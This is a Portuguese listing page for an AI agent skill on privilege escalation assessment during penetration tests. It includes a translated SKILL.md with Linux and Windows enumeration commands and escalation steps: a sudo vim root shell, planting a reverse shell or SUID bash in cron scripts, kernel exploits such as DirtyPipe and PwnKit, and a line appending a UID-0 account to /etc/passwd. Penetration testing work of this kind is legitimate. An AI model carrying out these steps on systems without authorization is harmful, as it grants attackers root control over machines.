performing-privilege-escalation-assessment
Faz seu agente verificar como invasores podem ganhar mais controle em sistemas. Ele procura falhas e vulnerabilidades em sistemas Windows e Linux. É útil para entender o quão seguro um sistema está após um ataque inicial.
O que ela faz
Esta ferramenta ajuda a encontrar maneiras de ganhar mais controle em um computador que você já tem acesso limitado. Ela procura por falhas de configuração ou programas vulneráveis para conseguir permissões de administrador.
Quando usar
- ✓Depois de conseguir acesso inicial em um teste de segurança.
- ✓Para verificar se um servidor está bem protegido contra invasões.
- ✓Para testar se programas de segurança detectam tentativas de invasão.
Exemplo do que pedir para a IA
“Verifique se consigo acesso de administrador neste servidor.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta examina o sistema em busca de configurações incorretas, programas desatualizados ou senhas salvas. Depois, ela tenta usar essas descobertas para obter acesso total ao sistema.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-privilege-escalation-assessmentOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-privilege-escalation-assessment/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Avaliação de Escalada de Privilégios
Quando Usar
- Após obter acesso inicial de baixo privilégio durante um teste de penetração para demonstrar o comprometimento total do sistema
- Avaliando o endurecimento de segurança de servidores Linux e Windows contra ataques locais de escalada de privilégios
- Avaliando se as ferramentas de detecção e resposta de endpoint (EDR) detectam técnicas comuns de escalada de privilégios
- Testando a eficácia de políticas de privilégio mínimo e listas de permissão de aplicativos em endpoints
- Validando se os controles de quebra de contêiner e fuga de VM estão configurados corretamente
Não use sem autorização por escrito, contra sistemas de produção onde a exploração possa causar tempo de inatividade, ou para implantar exploits de kernel em sistemas sem aprovação prévia e capacidade de reversão.
Pré-requisitos
- Acesso de shell de baixo privilégio (reverse shell, SSH, RDP) ao sistema de destino obtido por meios autorizados
- Scripts de enumeração de escalada de privilégios: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)
- Exploits de kernel compilados para CVEs comuns ou acesso a ferramentas de compilação no destino
- Referência GTFOBins para abuso de binários SUID/sudo no Linux e referência LOLBAS para binários living-off-the-land no Windows
- Binários pós-exploração pré-compilados para a arquitetura de destino se a compilação não estiver disponível no destino
Fluxo de Trabalho
Etapa 1: Enumeração do Sistema
Colete informações abrangentes sobre o sistema de destino:
Enumeração Linux:
id && whoami- Associações de usuário e grupo atuaisuname -a- Versão do kernel para identificação de exploits de kernelcat /etc/os-release- Distribuição e versãosudo -l- Comandos que o usuário atual pode executar como root via sudofind / -perm -4000 -type f 2>/dev/null- Binários SUIDfind / -perm -2000 -type f 2>/dev/null- Binários SGIDcrontab -l && ls -la /etc/cron*- Tarefas agendadas executadas como rootps aux | grep root- Processos em execução como rootcat /etc/passwd- Contas de usuário (procure por usuários adicionais com UID 0)find / -writable -type d 2>/dev/null- Diretórios graváveis por qualquer pessoa- Execute
linpeas.shpara enumeração abrangente automatizada
Enumeração Windows:
whoami /priv- Privilégios do usuário atual (procure por SeImpersonatePrivilege, SeDebugPrivilege)systeminfo- Versão do SO, nível de hotfix, arquiteturawmic service get name,pathname,startmode- Caminhos de serviço não citadosicacls "C:\Program Files" /T- Diretórios graváveis em Arquivos de Programasreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated- Verificação AlwaysInstallElevatedcmdkey /list- Credenciais do Windows armazenadasschtasks /query /fo LIST /v- Tarefas agendadas com suas contas de execução- Execute
winPEAS.exepara enumeração abrangente automatizada
Etapa 2: Vetores de Escalada de Privilégios no Linux
Teste os vetores de escalada identificados sistematicamente:
- Configurações incorretas de sudo: Se
sudo -lmostrar entradas como(ALL) NOPASSWD: /usr/bin/vim, use GTFOBins para escalar:sudo vim -c ':!/bin/bash'para iniciar um shell root- Entradas de sudo perigosas comuns: vim, less, find, nmap, python, perl, ruby, awk, env
- Abuso de binários SUID: Se um binário SUID for identificado que permite execução arbitrária de comandos, escape de shell ou leitura de arquivos:
- SUID personalizado: Verifique se um binário SUID personalizado chama outros programas sem caminhos absolutos (injeção de PATH)
- SUID conhecido: Verifique GTFOBins para exploração de binários SUID padrão
- Exploração de jobs cron: Se um job cron executa um script gravável pelo usuário atual, ou executa um script de um diretório gravável:
- Modifique o script para adicionar um reverse shell ou uma cópia SUID do bash
- Exploração de cron baseada em PATH: se o job cron chamar um comando sem caminho absoluto e o PATH for gravável
- Exploits de kernel: Combine a versão do kernel com exploits conhecidos:
- DirtyPipe (CVE-2022-0847): kernel Linux 5.8-5.16.11
- DirtyCow (CVE-2016-5195): kernel Linux 2.6.22-4.8.3
- PwnKit (CVE-2021-4034): vulnerabilidade pkexec do Polkit afetando a maioria das distribuições Linux
- Abuso de capabilities:
getcap -r / 2>/dev/nullpara encontrar binários com capabilities elevadas (cap_setuid, cap_dac_override) - /etc/passwd gravável: Se /etc/passwd for gravável, adicione um novo usuário root:
echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd
Etapa 3: Vetores de Escalada de Privilégios no Windows
Teste caminhos de escalada específicos do Windows:
- Impersonação de token: Se o usuário tiver
SeImpersonatePrivilege(comum para contas de serviço e IIS):
…
Perguntas frequentes
Preciso de permissão para usar esta ferramenta?
Sim, você precisa de autorização por escrito antes de usá-la, especialmente em sistemas importantes.
O que é 'escalada de privilégios'?
É o processo de obter permissões mais altas em um sistema, como passar de um usuário comum para um administrador.
Quais sistemas essa ferramenta suporta?
Ela funciona em sistemas Linux e Windows.
Detalhes
Descrição original do autor
Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #6125
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC